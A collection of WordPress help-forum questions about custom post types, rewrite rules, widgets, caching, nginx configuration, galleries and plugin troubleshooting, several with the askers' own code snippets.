I have a custom post type called 'Venue' and I would like my users to be able to create a map to that venue, basically just a marker on a map with the name of the venue and its address. The thing is that I want to create a small snapshot of the map and on hover the website user would click and open the full map in a new tab or window. How can I create this in WordPress? Most Google map plugins for WordPress enable you to embed the map directly into the page, but I want it to be clickable and open the full map in a new tab. Thanks


HelpDesk solution for Wordpress

Is there a help desk solution plugin (free or paid) for Wordpress? Ideally a visitor would be able to create a ticket from the WP site and the admin would see it via email and in the admin portal of WP. Also offer the option for invoicing per ticket. **Edit:** The plugin has to play well with my theme without having to alter anything with the exception of adding shortcodes for the helpdesk


How effective are cacheing plugins for dynamic pages?

The majority of pages of one of my sites can only be accessed by registered users. While these pages do share some common, static content (headers, etc) most of the information on the page is populated specifically for that user using a variety of usermeta, postmeta and custom table data. Further, a user is unlikely to hit the same page a lot of times. However, there are tens of thousands of users who may wish to be accessing their own information pages simultaneously, so performance is of great concern. My understanding of cacheing plugins is that they do a great job with relatively static content, such as blog entries or "about us" pages, that change infrequently but must be served up (without any differences or customized info) to a lot of simultaneous requests. In my situation, the real performance "hit" comes once a user has logged in and is accessing their personal information. How effective are cacheing plugins in this scenario? Are there any other alternatives (in addition to DB optimization) that can help reduce memory and DB load?


URL Rewrite and add_query_var not working

I know there are several topics about URL rewriting in Wordpress but none of the topics I found helped me. I want to rewrite the URL               profile/?person=abc (which works fine, but isn't pretty)      to               profile/abc      This is what I added to the functions.php of my theme:               function add_rewrite_rules() {         global $wp_rewrite;         add_rewrite_rule('profile/([^/]+)/?$', 'index.php?pagename=profile&person=$matches[1]', 'top');         $wp_rewrite->flush_rules(false);     }     add_action('init', 'add_rewrite_rules');          function add_query_vars() {         global $wp;         $wp->add_query_var('person');     }     add_action('init', 'add_query_vars');      When I try to call               mydomain.com/profile/abc      Wordpress just changes the URL to               mydomain.com/profile      Of course 'person' is not among the query vars when I try to access them. I also tried to write everything in one function (which shouldn't make any difference) and to add the query var 'person' to the query array with the query_vars filter hook:               function add_query_vars($q) {         $q[] = 'person';         return $q;     }     add_filter('query_vars', 'add_query_vars');      From everything I've read about URL rewriting with WP my code should work. I also tried deactivating all other plugins so nothing could interfere. ## Solution Since I can't answer my question because of my reputation I write the solution here: The reason was that I tried to redirect to a child page. I left that piece of information out in my code above because I thought it was unimportant, but in fact it was the reason for my issue. Sorry for that, I just wanted to clean my code up a bit :-/ The line that got it all working:               add_rewrite_rule('persons/profile/([^/]+)/?$', 'index.php?pagename=persons/profile&person=$matches[1]', 'top');      What I don't understand is why I didn't get any error messages (WP_DEBUG was set to true) and got redirected to the right page (just without query parameter).


display admin content in the public site

I would like to display the page list or post list (or similar from plugins) from the Admin section to logged in users on the front-end of my wordpress site. Any idea how I can do this? I need to give access of its functionality to logged in users.


Is there anything special required to make a plugin work in a multisite environment?

I've been developing plugins for about a year now, but not having any experience with multisite environments, whenever a question comes up that is specific to that environment I'm generally stumped. Today, I got a question regarding Document Gallery. The question states that the user attempted to install the plugin as a network admin, but then could not see the plugin in the dash for the network admin or individual site. They additionally state that the shortcode does nothing. There are thousands of people using the plugin without any issue so I'm confident it works as expected for non-multisite, but I just want to verify that there is nothing special about multisite that could make a plugin that otherwise works nonfunctional on multisite installs.


How to change date_format in entry-info

So, i need help with a problem. I'm using Project Ar2 Theme in wordpress, and i have a doubt about the theme. I want to translate some part of theme in where I managed to translate 'posted' to 'postado', but I want to translate the format_date. For example: www.neilgaiman.com.br Confira sinopse do episódio de Doctor Who Postado **on 27 de April de 2013** how becames its in portuguese?


Alternative to new_to_publish Hook for Custom Statuses

I am looking for the right hook to use for sending out an email notice when a post is inserted. However, I am using custom statuses (in this case 'holding') which doesn't seem to get hit with the new_to_holding hook, so was hoping someone knew of an alternative that gets fired when a post is inserted or perhaps a reason why that hook isn't working right.


Wordpress returns 404 on custom rewrite rule conflict in parameters

I have been following the steps on the answer here and it worked wonders. But my problem is on this part, on the original:               add_filter('rewrite_rules_array', 'mmp_rewrite_rules');     function mmp_rewrite_rules($rules) {         $newRules  = array();         $newRules['custom-post-type-base/(.+)/(.+)/(.+)/(.+)/?$'] = 'index.php?custom_post_type_name=$matches[4]'; // my custom structure will always have the post name as the 5th uri segment         $newRules['custom-post-type-base/(.+)/?$']                = 'index.php?taxonomy_name=$matches[1]';               return array_merge($newRules, $rules);     }       my version:               add_filter('rewrite_rules_array', 'mmp_rewrite_rules');     function mmp_rewrite_rules($rules) {         $newRules  = array();         $newRules['custom-post-type-base/(.+)/(.+)/(.+)/?$'] = 'index.php?custom_post_type=$matches[3]';          $newRules['custom-post-type-base/(.+)/?$']           = 'index.php?custom_taxonomy=$matches[1]';              return array_merge($newRules, $rules);     }       Since my taxonomy has two levels, it couldn't recognize whether the 2nd param (`custom-post-type-base/(.+)/[here]/`) is a custom post or a custom taxonomy.. it returns correctly on custom taxonomy but returns 404 on a custom post type with the post type being categorized on the parent taxonomy. See Sample URLS:               "/custom-post-type-base/taxonomy-parent/taxonomy-child/single-custom-post-type/"     /*works as single custom post*/          "/custom-post-type-base/taxonomy-parent/taxonomy-child/"     /*works as custom taxonomy page*/          "/custom-post-type-base/taxonomy-parent/"     /*works as custom taxonomy page too*/          "/custom-post-type-base/taxonomy-parent/single-custom-post-type/"     /*returns a 404*/


Alternating CSS classes for dynamic content

This is for a gallery that's populated automatically, images are pulled in from child pages. Layout is: 2 images in a row and they must be left- and right-aligned respectively. I can't figure out a way to add a space between them.   * When I add margin or padding, the 2nd image gets pushed off to the next line;    * Without margin, they're side by side (and only the left one is properly aligned). So I figured alternating CSS classes might work, but not sure how to make the odd images float left, and even images - float right. And the odd/even class for the images will change based on the number of child posts (and therefore, the number of images imported into this Gallery page).
         <?php         $mypages = get_pages( array( 'child_of' => $post->ID, 'sort_column' => 'post_date', 'sort_order' => 'desc' ) );              foreach( $mypages as $page ) {         $content = $page->post_content;         if ( ! $content ) // Check for empty page         continue;              $content = apply_filters( 'the_content', $content );     ?>

                     <?php echo $content; ?>
<a href="http://mettedesigns.com/gallery/<?php echo $page->post_title; ?>"><?php echo $page->post_title; ?>

               <?php     }        ?>       <?php endwhile; endif; ?>


Set Custom Post Type in Widget Settings for use in Widget

I'm trying to dynamically list all of CPT's in a dropdown, set one in the widget settings and then echo that value in the actual widget output. I can't seem to get it to work though. I was trying to use get_post_types which might be the correct way to achieve this, but I couldn't manage to use the value in the actual widget. My Base Widget code is:                   <?php         /**          * Plugin Name: Custom Search: Resources          * Plugin URI: http://cbdwichita.com          * Description: Creates a custom search widget for a specified CPT.          * Version: 1.0          * Author: Austin Biggs          * Author URI: http://cbdwichita.com          */              /**          * Add function to widgets_init that'll load our widget.          * @since 0.1          */         add_action( 'widgets_init', 'cbd_search_resources_widget' );              /**          * Register our widget.          * 'Example_Widget' is the widget class used below.          *          * @since 0.1          */         function cbd_search_resources_widget() {             register_widget( 'CBD_Search_Resources' );         }              /**          * Example Widget class.          * This class handles everything that needs to be handled with the widget:          * the settings, form, display, and update.  Nice!          *          * @since 0.1          */              class CBD_Search_Resources extends WP_Widget {              /**          * Widget setup.          */         function CBD_Search_Resources() {             /* Widget settings. */             $widget_ops = array( 'classname' => 'cbd_search_resources', 'description' => __('Displays a Search for Resources.', 'example') );                  /* Widget control settings. */             $control_ops = array( 'width' => 300, 'height' => 350, 'id_base' => 'cbd-search-resources' );                  /* Create the widget. */             $this->WP_Widget( 'cbd-search-resources', __('CBD Search Resources', 'cbd_search_resources'), $widget_ops, $control_ops );         }              /**          * How to display the widget on the screen.          */         function widget( $args, $instance ) {             extract( $args );                  /* Our variables from the widget settings. */             //$number = $instance['number'];             $title = $instance['title'];             $tax = $instance['CPT'];                                 // start the wordpress loop!             //if ($query->have_posts()) :                    /* Before widget (defined by themes). */             echo $before_widget;                  /* Display the widget title if one was input (before and after defined by themes). */             //if ( $title )             echo $before_title . $title . $after_title;             ?>
                 <form method="get" id="searchform" action="<?php echo home_url() ; ?>/">                     <input type="text" value="<?php echo esc_html($s, 1); ?>" name="s" id="s" maxlength="33" />                     <input id="searchsubmit" type="submit" value="Search">                     <input type="hidden" name="post_type" value="cbd_resources">                 </form>
                            <?php /* END WHILE AND RESET QUERY */  wp_reset_query();                        //else:                  //echo 'There are no upcoming articles.';                  //endif;                  /* After widget (defined by themes). */             echo $after_widget;         }              /**          * Update the widget settings.          */         function update( $new_instance, $old_instance ) {             $instance = $old_instance;             //$instance['number'] = strip_tags( $new_instance['number'] );             $instance['title'] = strip_tags( $new_instance['title'] );             $instance['CPT'] = $new_instance['CPT'];             return $instance;         }              /**          * Displays the widget settings controls on the widget panel.          * Make use of the get_field_id() and get_field_name() function          * when creating your form elements. This handles the confusing stuff.          */         function form( $instance ) {                  /* Set up some default widget settings. */             $defaults = array( 'CPT' => '', 'title' => 'Categories');             $instance = wp_parse_args( (array) $instance, $defaults ); ?>
                 <label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e('Title:', 'example'); ?>                 <input id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" value="<?php echo $instance['title']; ?>" style="width:100%;" />

                 <label for="<?php echo $this->get_field_id( 'CPT' ); ?>"><?php _e('Post Type:', 'example'); ?>                 <select id="<?php echo $this->get_field_id( 'CPT' ); ?>" name="<?php echo $this->get_field_name( 'CPT' ); ?>" style="width:100%;">                     <?php                      $args=array(                       'public'   => true,                       '_builtin' => false                          );                      $output = 'objects'; // or objects                     $operator = 'and'; // 'and' or 'or'                     $postTypes=get_post_types($args,$output,$operator);                      if  ($postTypes) {                       foreach ($postTypes  as $CPT ): ?>                              <option value="<?php echo $CPT->name; ?>" <?php if($instance['CPT'] == $CPT->name) echo "selected='selected'"; ?>><?php echo $CPT->labels->name; ?></option>                          <?php                       endforeach;                     }                     ?>                 </select>
                   <?php         }         }              ?>


custom post type permalinks with category and tags

I have a custom post type called 'designs' and have registered taxonomy 'design_category' and 'design_tag'. I'm trying to get the permalinks as follows but not having much luck - seems having 2 taxonommies is causing only one to work - either 'design_category' or 'design_tag' I want the permalinks like this: a single design: url.com/designs/design_category/single-design a design category: url.com/designs/design_category a design tag: url.com/designs/design_tag there are only a few specific categories and not much room for expansion there so there won't ever be a matching category and tag. this is the code I have to create everything - just stuck on getting the tags to work - keeps going to 404 error :(               function create_design() {       // Design Tags       $labels = array(     'name' => _x( 'Design Tags', 'taxonomy general name' ),     'singular_name' => _x( 'Design Tag', 'taxonomy singular name' ),     'search_items' =>  __( 'Search Design Tags' ),     'all_items' => __( 'All Design Tags' ),     'parent_item' => __( 'Parent Design Tags' ),     'parent_item_colon' => __( 'Parent Design Tags:' ),     'edit_item' => __( 'Edit Design Tag' ),      'update_item' => __( 'Update Design Tag' ),     'add_new_item' => __( 'Add New Design Tag' ),     'new_item_name' => __( 'New Design Tag Name' ),     'menu_name' => __( 'Design Tags' ),       );                register_taxonomy('design_tag',array('design'), array(     'hierarchical' => false,     'labels' => $labels,     'show_ui' => true,     'query_var' => true,     'rewrite' => array( 'slug' => 'designs' ),       ));            // Design Categories       $labels = array(     'name' => _x( 'Design Categories', 'taxonomy general name' ),     'singular_name' => _x( 'Design Category', 'taxonomy singular name' ),     'search_items' =>  __( 'Search Design Categories' ),     'all_items' => __( 'All Design Categories' ),     'parent_item' => __( 'Parent Design Category' ),     'parent_item_colon' => __( 'Parent Design Category:' ),     'edit_item' => __( 'Edit Design Category' ),      'update_item' => __( 'Update Design Category' ),     'add_new_item' => __( 'Add New Design Category' ),     'new_item_name' => __( 'New Design Category Name' ),     'menu_name' => __( 'Design Categories' ),       );                register_taxonomy('design_category',array('design'), array(     'hierarchical' => true,     'labels' => $labels,     'show_ui' => true,     'query_var' => true,     'rewrite' => array( 'slug' => 'designs' ),       ));            // Create post type     $labels = array(          'name' => _x( 'Designs', 'design' ),         'singular_name' => _x( 'Design', 'design' ),         'add_new' => _x( 'Add New', 'design' ),         'add_new_item' => _x( 'Add New Design', 'design' ),         'edit_item' => _x( 'Edit Design', 'design' ),         'new_item' => _x( 'New Design', 'design' ),         'view_item' => _x( 'View Design', 'design' ),         'search_items' => _x( 'Search Designs', 'design' ),         'all_items' => __( 'All Designs', 'design' ),         'not_found' => _x( 'No Designs found', 'design' ),         'not_found_in_trash' => _x( 'No Designs found in Trash', 'design' ),         'parent_item_colon' => _x( 'Parent Design:', 'design' ),         'menu_name' => _x( 'Designs', 'design' ),     );          $args = array(          'labels' => $labels,         'hierarchical' => false,              'supports' => array( 'title', 'editor', 'excerpt', 'author', 'thumbnail', 'trackbacks', 'revisions' ),         'taxonomies' => array( 'design_categories', 'design_tags' ),         'public' => true,         'show_ui' => true,         'show_in_menu' => true,         'menu_position' => 5,              'show_in_nav_menus' => true,         'publicly_queryable' => true,         'exclude_from_search' => false,         'has_archive' => 'designs',         'query_var' => true,         'can_export' => true,         'rewrite' => array(              'slug' => 'designs/%design_category%' ),         'capability_type' => 'post'     );          register_post_type( 'design', $args );          }          add_filter('post_type_link', 'design_term_permalink', 1, 3);     function design_term_permalink($post_link, $id = 0, $leavename = FALSE )     {        if ( strpos('%design_category%', $post_link) === 'FALSE' ) {       return $post_link;     }     $post = get_post($id);     if ( !is_object($post) || $post->post_type != 'design' ) {       return $post_link;     }     $terms = wp_get_object_terms($post->ID, 'design_category');     if ( !$terms ) {       return str_replace('designs/%design_category%/', '', $post_link);     }     return str_replace('%design_category%', $terms[0]->slug, $post_link);}


Is there an easy way to AJAX-ify saving of post?

We have a plugin that allows us to manage custom post types and we'd like to add AJAX functionality in saving, editing, and deleting posts. I couldn't find similar problems in the internet so I'm wondering if this isn't something easily doable?


nginx wordpress subdirectory Invalid post type

I have an Ubuntu server running Nginx, php-fpm, and wordpress in a subdirectory. My config looks like this:               server {         #My site configuration         location /blog {                 root /home/user/www;                 index index.php index.html index.htm;                 error_log       /var/log/blog_error.log;                 error_page 404 /blog/404.html;                 error_page 500 502 503 504 /blog/50x.html;                 location /blog/ {                         try_files $uri $uri/ /blog/index.php?$args;                 }                 location = /blog/favicon.ico { log_not_found off; access_log off; }                 location = /blog/robots.txt { allow all; log_not_found off; access_log off; }                 location ~ /blog/\. { deny all; }                 location ~* /blog/(?:uploads|files)/.*\.php$ { deny all; }                 rewrite /blog/wp-admin$ $scheme://$host$uri/ permanent;                 if (!-e $request_filename) {                         rewrite ^(.*)$ /blog/index.php?q=$1 last;                         break;                 }                 location ~ \.php$ {                         #try_files $uri =404;                         fastcgi_split_path_info ^(/blog)(/.*)$;                         fastcgi_index blog/index.php;                         fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;                         include fastcgi_params;                         fastcgi_pass unix:/var/run/php5-fpm.sock;                 }                 location ~* ^.+\.(css|js|ogg|ogv|svg|svgz|eot|otf|woff|mp4|ttf|rss|atom|jpg|jpeg|gif|png|ico|zip|tgz|gz|rar|bz2|doc|xls|exe|ppt|tar|mid|midi|wav|bmp|rtf)$ {                         access_log off; log_not_found off; expires max;                 }         }     }      With a fresh WP installation version 3.7.1, I get `Invalid post type` when I click on the Posts link in my dashboard. ![http://i.stack.imgur.com/oExqD.png](http://i.stack.imgur.com/oExqD.png) And when I click on Add New Post I get the new post page but the right sidebar which should contain the Post button and other controls shows empty. ![http://i.stack.imgur.com/kPEfs.png](http://i.stack.imgur.com/kPEfs.png) I'm sure it has got to do something with my configuration, because I'm trying with a fresh DB and a fresh WP. Any ideas? Thanks.


How to achieve anchor links on top of pages.

I have been looking around for a plugin or a how-to but I been unable to find the answer. I am trying to get a box with anchor links at the top of my pages. I can see and example on the official wordpress site. See the right hand side that says 'Contents' and 'Related'. http://en.support.wordpress.com/splitting-content/page-jumps/ Does anyone know the best way to achieve something like this? Thank you


Wordpress stuck in deleting user

We’ve run into an issue with our WP Multisite where we cannot delete user accounts. The URL i keep getting is: http://example.com/wp-admin/network/users.php?action=dodelete It should look something like this: http://example.com/wp-admin/network/users.php?updated=true&action=delete From the looks of it, the info in WP just isn’t updating. Any idea what's going on with our WP install. PS : The WP is up-to-date.


Help with a little CSS logo/header modification?

I've almost got this figured out, but I'm a total newbie to coding and this last bit is confusing me. I'm trying to get my logo "mascot" to be flush with the top line of my header, and sitting 'on' the navigation bar at the bottom. I have a pic on the website of exactly what I'm talking about on the website. (bloggingbuddhist.com) I've figured out how to get it to sit up against the top of the header area, but getting it down all the way (and a bit overlapping even) is confusing me. The code I'm manipulating is below, it looks like I have to actually manipulate the menu navigation bar as well... if not even more then that. Any ideas what to do to get that whole section to sit up flush like I have in that picture on the site? **THANK YOU!**               #logo {     float:left;     height:150px;     overflow:hidden;     padding:10px 0 0px 10px;     }          #logo #h1{     float:left;     font-family:Georgia, serif;     font-size:48px;     }          #logo #h2 {     color:#777;     float:left;     font-size:13px;     padding:5px 20px 10px;     }          #logo #h1 a {     text-decoration: none;     color:#999;     border:0;     }     #logo #h1 a:hover, #logo #h1 a:visited, #logo #h1 a:link {     border:0;     }          #header-icons {     position:absolute;     right:0;     margin-top:10px;     z-index:99;     }          #header-icons .twitter,     #header-icons .rss{     height:27px;     width:160px;     margin:16px 25px;     }     #header-icons .twitter{     background: url("img/twitter.png") no-repeat scroll 0 0 transparent;     }          #header-icons .rss{     background: url("img/rss.png") no-repeat scroll 0 0 transparent;     }          #header-icons .twitter a,     #header-icons .rss a{     padding:10px 80px;     border:0;     }          #menu {     background:url("img/menu-bg.png") no-repeat scroll 0 top transparent;     clear:both;     margin:0 auto 0 -4px;     width:1052px;     }          .menu-bottom {     background:url("img/menu-bottom-bg.png?m") no-repeat scroll 0 bottom transparent;     padding-bottom:16px;     }          #menu ul {     background:url("img/menu-curve-bg.png") no-repeat scroll left top #f1f1f1;     list-style:none outside none;     margin:0 30px;     padding:0px 10px 0 40px;     text-align:right;     float:right;     }          #menu li {     display: inline;     padding:14px 0 11px;     border-left:1px solid transparent;     border-right:1px solid transparent;     white-space:nowrap;     position:relative;     }          #menu li.current_page_item,     #menu li.current_page_item:hover {     background-color: #fafafa;     border-left:1px solid #E5E5E5;     border-right:1px solid #E5E5E5;     }          #menu a {     border:0 none;     color:#a1a1a1;     font-size:16px;     font-weight:bold;     text-decoration:none;     text-shadow:1px 1px 0px #fff;     padding:10px 40px;     line-height:40px;     }     #menu a:hover,      #menu a:active,     #menu li.current_page_item a:link,     #menu li.current_page_item a:visited,     #menu li.current_page_item a:hover,     #menu li.current_page_item a:active{     color:#999;     border:0;     }          #menu li:hover {     background-color: #f7f7f7;     border-left:1px solid #E5E5E5;     border-right:1px solid #E5E5E5;     }


Custom Queries - Child Categories not showing up

**What I'm Doing** I have a cities category and normal categories. Right now I have them filtering by category, then when the user clicks a city it will filter by category AND city `query_posts(array( 'category__and' => array($city, $category))` **The Problem** That works - no problem. The problem comes when I add sub-categories to my main `$categories` and the admin does not check the parent. **Example** I have a main category: `Food` and 2 sub-categories `Fries` & `Burgers`. I also have a city category called `New York`. The admin adds a post and checks `Fries` and `New York` so by default wordpress will pull up this post. When the user tries to filter it by city (`New York`) it says there's no posts because the parent was never checked. * * * How do I Bring that sub-category post to the top when the user filters the parent category by city? I apologize if it is confusing so ask questions if needed. Thanks in advance!


WordPress crashes with "The service is unavailable." after trying to upgrade plugins

i went to upgrade my plugins and it never came back .. now when i go to my blog i get an error stating:               The service is unavailable.      i tried renaming the "upgrade" folder under wp-content but that didn't seem to do anything. Any suggestions?


Post Content Displaying Below ALL Shortcodes Content

For some reason, my posts content (the content placed outside of the shortcodes I have set up) is only displaying below all the shortcodes, no matter where I place content in the post. For example, I could set up a post like this: `[boxes cat="Features"]` `test content here` `[boxes cat="Reviews"]` And the test content will display below the Features AND the Reviews. Why would it do that? Some of my shortcodes use the php `include`. Here's an example of one of my shortcodes:               function free_ms_cms( $atts, $content = null ) {        $free_ms = TEMPLATEPATH . '/get-free-ms.php';        include($free_ms);     }     add_shortcode( 'free-ms', 'free_ms_cms' );      Anyone able to help? Thanks!


Is it possible to read the ID of a post and then insert it into the html of the post?

If possible I want to insert the ID of a post(from a custom post type) into the html of the post itself when its loaded in the viewport. The scenario is that the content of the custom post type is surrounded by a `<div>`. I want to append an 'id' to the `<div>` that includes the ID of the post. For example if the custom post type is glossary and the post ID is 351 then the resulting html would be: `<div id="glossary351"> Post content </div>` I looked at the conditional statements and googled on the subject but found that   1. A lot of applications of finding the Post ID were to do with showing the ID on the page, as opposed to inserting it into the html.   2. My almost non existent PHP skills were not up to fathoming out how to use the conditionals to get the result I need. I'd appreciate any pointers regarding:   * Is this possible   * Any examples of how to approach the problem Thanks


How does the JSON API work to parse incoming JSON and fetch a post based on an ID?

So I have to interact with a large, seperate system on another server that is going to return, at the very least, post ids to my wordpress install in json format. And before others might ask why I'm getting post ids from a seperate system, it's because this system will eventually have all of our content and we are planning on only using WP for a year and then growing our own standalone. It's actually more complicated, but suffice it to say, it's pretty much set in stone that I will be getting post ids from an external application in json. So I have to figure out requesting things from the loop via incoming json. I have the JSON API installed on my wordpress site. I can see how to expose a post in json format on my WP installation with query strings like: http://mysite.com/?json=get_post&post_type=event&id=62 But what I really want is to expose the requested post in nicely formatted HTML from the WP loop. From what I've read so far, I'll need to add more filtering and fuctionality into functions.php. Or is this incorrect? So really my question is: **How would I pick the id from a json response coming from an external service and submit that against the Wordpress loop so I can see that event load in the middle column, all nicely formatted and stuff?** Do I need a custom controller or anything? I see post.php in controllers. But all those controllers seem to do is to return json. I'm working with the custom post type of "event" from the Event Manager plugin in this case. EDIT: I am using just the JSON API. Not the Jetpack plugin. Should I be? It doesn't look like it....


Custom post types and category archive

I think this should be a simple thing to do but I'm struggling to make it work. What I have is the following: Custom page type called 'products'. Products contain multiple categories and sub-categories. The categories and sub-categories contain posts (products). I want a custom template page to list the root categories which I've achieved by adding a template file called 'archive-products.php' - this now lists all root categories within the products post type. Now, when I select a category I want to display a different template to list all sub-categories and products within that category but I can't seem to get it to load the correct template file. I thought it should load the 'archive- products.php' file and I could detect the category and show a different template but I can't seem to figure out how to do it. I'm hoping this is something simple I've missed but I've been staring at the problem for so long I can't seem to find a solution! Thanks in advance.


Get list of WP Updates Across Sites

Is there a way to query a WP site to see the number of updates currently available? I'm not really looking for a list of the actual updates, just the number. This would be the total number of Plugin/Theme/Core updates, like it is listed in the WP admin menu. I manage multiple WP sites across multiple servers and would like an easier way of knowing when updates are available, rather than checking them individually.


Customize WordPress>Error Page

Is there a way to customize the WordPress>error page template so that the user isn't shown just a blank screen with text? I'm not talking about 404, but when WordPress displays an error. I'd like to style this page to match my theme.


How can I display an image description, from an image gallery?

I have a vanilla install of Wordpress 3.6. I'm using the Twenty Thirteen theme. I've created some galleries. On the individual image page, the "caption" is displayed below the image. I'd like to display the images "description" instead. How can I do that? Link to example image page: http://1dayranch.jasonormand.com/dogs/winston/ Here is the image.php file code

             <article id="post-<?php the_ID(); ?>" <?php post_class( 'image-attachment' ); ?>>
<?php the_title(); ?>

                         <?php                             $published_text = __( 'Published on <time class="entry-date" datetime="%1$s">%2$s</time> in %5$s', 'twentythirteen' );                             $post_title = get_the_title( $post->post_parent );                             if ( empty( $post_title ) || 0 == $post->post_parent )                                 $published_text = '<time class="entry-date" datetime="%1$s">%2$s</time>';                                  printf( $published_text,                                 esc_attr( get_the_date( 'c' ) ),                                 esc_html( get_the_date() ),                                 esc_url( get_permalink( $post->post_parent ) ),                                 esc_attr( strip_tags( $post_title ) ),                                 $post_title                             );                                  $metadata = wp_get_attachment_metadata();                             printf( '%3$s (%4$s × %5$s)',                                 esc_url( wp_get_attachment_url() ),                                 esc_attr__( 'Link to full-size image', 'twentythirteen' ),                                 __( 'Full resolution', 'twentythirteen' ),                                 $metadata['width'],                                 $metadata['height']                             );                                  edit_post_link( __( 'Edit', 'twentythirteen' ), '', '' );                         ?>

                                              <?php previous_image_link( false, __( '← Previous', 'twentythirteen' ) ); ?>                         <?php next_image_link( false, __( 'Next →', 'twentythirteen' ) ); ?>

                             <?php twentythirteen_the_attached_image(); ?>                                  <?php if ( has_excerpt() ) : ?>
                                 <?php the_excerpt(); ?>
                             <?php endif; ?>

                          <?php if ( ! empty( $post->post_content ) ) : ?>
                         <?php the_content(); ?>                         <?php wp_link_pages( array( 'before' => '
' . __( 'Pages:', 'twentythirteen' ), 'after' => '
' ) ); ?>
                     <?php endif; ?>

                  <?php comments_template(); ?>


Disable Linked Gallery Images If Mobile Browser

So I found this question here: Proper Way to Remove Thumbnail Links In Gallery and looks to have a good answer, but how can I make that apply only if the user is on a mobile browser, or at least if the screen is at a certain width? Right now, I'm using the native wordpress gallery, and when you click the thumb, it takes you to the larger image. I don't want this to be done if you're on a phone or small width browser.


Event Organiser: Event list includes regular Posts & custom fields?

I've recently tried setting up and using the plugin, Event Organiser. Unfortunately, when using the shortcode on my Calendar page it appears to have included the regular blog posts in the stream. They're not displayed the same way as my events list but if I remove that shortcode they also go away and I can't figure out how to make them go away while leaving the past event list intact. See here for what I'm referring to. The backend on the Page looks like this:               Upcoming Events     [eo_events showpastevents=false]          Complete List of Past Events     [eo_events event_end_before=today]      One other thing I would like to do is add meta data forms to the Event Details box on the back-end. I designed the original site ( http://www.kentuckyauthorforum.com ) several years ago, and am now trying to update it for design and convert it to Wordpress to make management easier. Part of that is being able to include event specific links to multimedia content (check the sidebar of one of the author pages for what I'm referring to), which I would like to be able to include in the Event Details and have appear in the sidebar of individual pages. Anything you can suggest to help with either concern would be greatly appreciated. p.s. if you can help, keep in mind I'm a novice when it comes to php coding.


How do I go about fixing this apparently messed up upgrade?

I'm a WordPress novice trying to help a friend (who is even more of a WordPress novice) with his WordPress blog hosted on GoDaddy. It was working fine until he apparently (he doesn't fully remember) was prompted to upgrade the software. Now the blog still works for end-users (you can see it here) but whenever you log into the WordPress admin, you get a Page Not Found / "This is somewhat embarrassing, isn’t it?" page. The URL that the browser has been redirected to is: `http://brewstersmith.com/wp-admin/upgrade.php?_wp_http_referer=%2Fwp- admin%2F` It seems like the upgrade attempt was messed up somehow. Given I don't know what precisely caused this, what steps should I take to start investigating the problem and ideally rolling back the upgrade (or completing it) so that the blog is usable again?


500 internal server error

I am facing 500.0 Internal server quite frequently with my website. The error details are given below.               HTTP Error 500.0 - Internal Server Error     C:\PHP\php-cgi.exe - The FastCGI process exceeded configured activity timeout          Module  FastCgiModule     Notification    ExecuteRequestHandler     Handler PHP_via_FastCGI     Error Code  0x80070102     Requested URL   http://mydomain.com:80/index.php     Physical Path   C:\HostingSpaces\coderefl\mydomain.com\wwwroot\index.php     Logon Method    Anonymous     Logon User  Anonymous      When I contacted the support team, they're saying that my site is making heavy SQL Queries. I am not sure how to debug this. But my site is very small and the database is optimized. I'm running wordpress as platform. How to resolve this issue.


Using Fullscreenr with a wordpress blog - weird bug

I'm wondering if anyone here has used the jquery plugin 'fullscreenr' with a wordpress theme before. I've noticed a weird bug that I'm sure anyone who has used this before for a wordpress build would have come across.. It's a niche problem so bear with the explanation. I'll be as succinct as possible. Fullscreenr is a jQuery plugin that allows you to have a scalable fullscreen bg image. For reference: http://nanotux.com/blog/fullscreen/ The problem I'm having is a weird bug involving using html anchors that target a location that is near the bottom of the target page. This forces the BG to resize below the original window size. Everything looks great at first, but if the user attempts to scroll back up, the scrollbar gets 'stuck' and a good 200 pixels of the BG get stuck as well. You can see the scalable bg working here: http://dev.citylightphilly.com/html (try zooming out and resizing the window.) To witness the problem I'm having - click "Our Blog" (the only working link on the test page) Normally, I would say - "oh well, if I really want the scalable BG, I just won't use anchors below a certain point on the target page." However, for a wordpress blog it becomes very necessary semantically to link directly to the #respond tag for comments, which are always at the bottom of the page! Any thoughts? I don't know jQuery well enough to code in a workaround.. Help!


Auto-Create Pages from Template Directory

Is there a way to have WordPress automatically create static pages from all of the template files in a given directory? So rather than manually creating custom page templates in the WP dashboard, I'd like to write a script that looks at every file in a directory and creates a new custom page template for each one based on the template name given in the `/* Template Name: Foo */` declaration. I'm familiar with the solution offered here, but it still seems to require manually entering the pages one at a time.


Why does Wordpress Pagination Remove the Spaces from my GET Variable?

I'm passing a GET variable at the end of my URL's as my search parameter. When I do a regular search, everything works fine: _www.mysite.com/?find=my+search_ However, when I click over to the second page of results, Wordpress strips the search query of spaces and converts the URL to: _www.mysite.com/page/2/?find=mysearch_ I'm using the WP-PageNavi plugin and checked that the URL for the next page is correct: _www.mysite.com/page/2/?find=my+search_ My permalinks structure is: /%post_id%/%postname%/ **Has anyone had experience with Wordpress stripping out the spaces from your URL when using custom permalinks?** Thanks in advance for any help! I haven't been able to find much online about this except a few other people with the same problem.


How to programmatically create a connection with [Plugin: Posts 2 Posts] on cpt publish?

**How can I programmatically create a connection between one custom post type, cpt, (with post id known) to another on cpt on publish?** I am using VoodooPress's front-end posting method to publish a post type called _post-type-A_. One input field in the _post-type-A_ form is the public inventory number, which through some wp_query love gives me the post id of the _post-type-B_ that I wish to create a relationship with. I know that I can use this function to create a one-way connection from _post- type-A_ to _post-type-B_ using a custom field.               add_action('publish_page', 'add_custom_field_automatically');     add_action('publish_post', 'add_custom_field_automatically');     function add_custom_field_automatically($post_ID) {         global $wpdb;         if(!wp_is_post_revision($post_ID)) {             add_post_meta($post_ID, 'field-name', 'custom value', true);         }     }      But how do I programmatically create a connection using @Scribu's Posts 2 Posts plugin? A two-way relationship would reduce a lot of hassle and programming time. :) For reference, the snippet below is the connect api reference for the plugin...               /**      * Connect a post to another one      *      * @param int $post_a The first end of the connection      * @param int $post_b The second end of the connection      * @param bool $bydirectional Wether the connection should be bydirectional      */     function p2p_connect( $post_a, $post_b, $bydirectional = false ) {             add_post_meta( $post_a, P2P_META_KEY, $post_b );                  if ( $bydirectional )                     add_post_meta( $post_b, P2P_META_KEY, $post_a );     }


Calendar Solution: Handling upcoming Dates with Posts?

